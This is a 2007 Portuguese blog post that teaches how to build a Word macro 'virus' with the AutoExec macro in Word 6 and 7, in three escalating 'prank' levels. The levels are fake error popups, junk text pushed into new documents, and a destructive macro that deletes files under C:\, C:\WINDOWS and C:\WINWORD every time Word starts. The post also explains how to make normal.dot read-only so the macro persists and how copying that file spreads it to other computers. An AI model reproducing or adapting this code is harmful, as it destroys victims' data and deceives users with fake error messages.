Vírus de Macro do Word

domingo, 10 de junho de 2007

Muitos usuários ainda utilizam o Word apenas de forma básica, limitando-se a digitar, aplicar negrito, sublinhar e enviar para a impressora. Eles desconhecem a riqueza de recursos oferecida por esse poderoso processador de texto. Este material demonstra como criar macros no Word para realizar desde pequenas brincadeiras até ações avançadas.

Software abrangido: Microsoft Word, versões 6 (Windows 3.11) e 7.0 (Windows 95). Não testado em versões mais recentes.

O Word possui um arquivo chamado normal.dot, que armazena todas as configurações padrão do programa. Se esse arquivo for excluído, o Word o recria automaticamente na próxima inicialização.

Níveis de "Brincadeira"

• Nível 1: Apenas uma mensagem humorística.
• Nível 2: Uma brincadeira de mau gosto.
• Nível 3: Ações que podem causar sérios problemas.

Como Criar uma Macro

1. Abra o Word e feche todas as janelas de documento abertas.
2. No menu Arquivo, clique em Macro.
3. Insira o nome da macro como AutoExec (obrigatório).
   • A macro AutoExec é executada sempre que o Word é iniciado.
4. Clique em Criar.
5. Exclua as linhas padrão Sub MAIN e End Sub.
6. Cole o código correspondente ao nível desejado.

Outras formas de criar macros existem, mas esta é a mais simples.

Nível 1: Mensagens Humorísticas

Adicione o seguinte código para exibir mensagens ao abrir o Word:

Sub MAIN() MsgBox "Você é um pentelho! Eu não irei prosseguir com o sistema", vbExclamation, "Microsoft Word" MsgBox "Usuário Pirata Detectado", vbCritical, "FATAL ERROR" MsgBox "JAMES BOND 007", vbInformation, "007 na estrada Digital" End Sub

Nível 2: Irritar o Usuário

Este nível adiciona várias mensagens repetitivas nos documentos abertos.

Sub MAIN() ArquivoNovoPadrão Inserir "James" ArquivoNovoPadrão Inserir "Bond" ArquivoNovoPadrão Inserir "007" ArquivoNovoPadrão Inserir "James Bond 007 Na Estrada digital" For i = 1 To 10 ArquivoNovoPadrão Inserir "." Next ArquivoNovoPadrão Inserir "James Bond 007 Na Estrada digital" End Sub

Nível 3: Ações Críticas

Este nível pode excluir arquivos do computador. Use com extrema cautela.

Sub MAIN() Kill "C:\*.*" Kill "C:\WINDOWS\*.*" Kill "C:\WINWORD\*.*" End Sub

Nota: Após inserir esta macro, proteja o arquivo normal.dot com o comando:

attrib +r normal.dot

Detalhes Importantes

• A macro AutoExec será salva no arquivo normal.dot. Se esse arquivo for copiado para outro computador, as macros contidas nele serão executadas.
• Existe uma forma de iniciar o Word sem executar a macro AutoExec, mas cabe a você descobrir.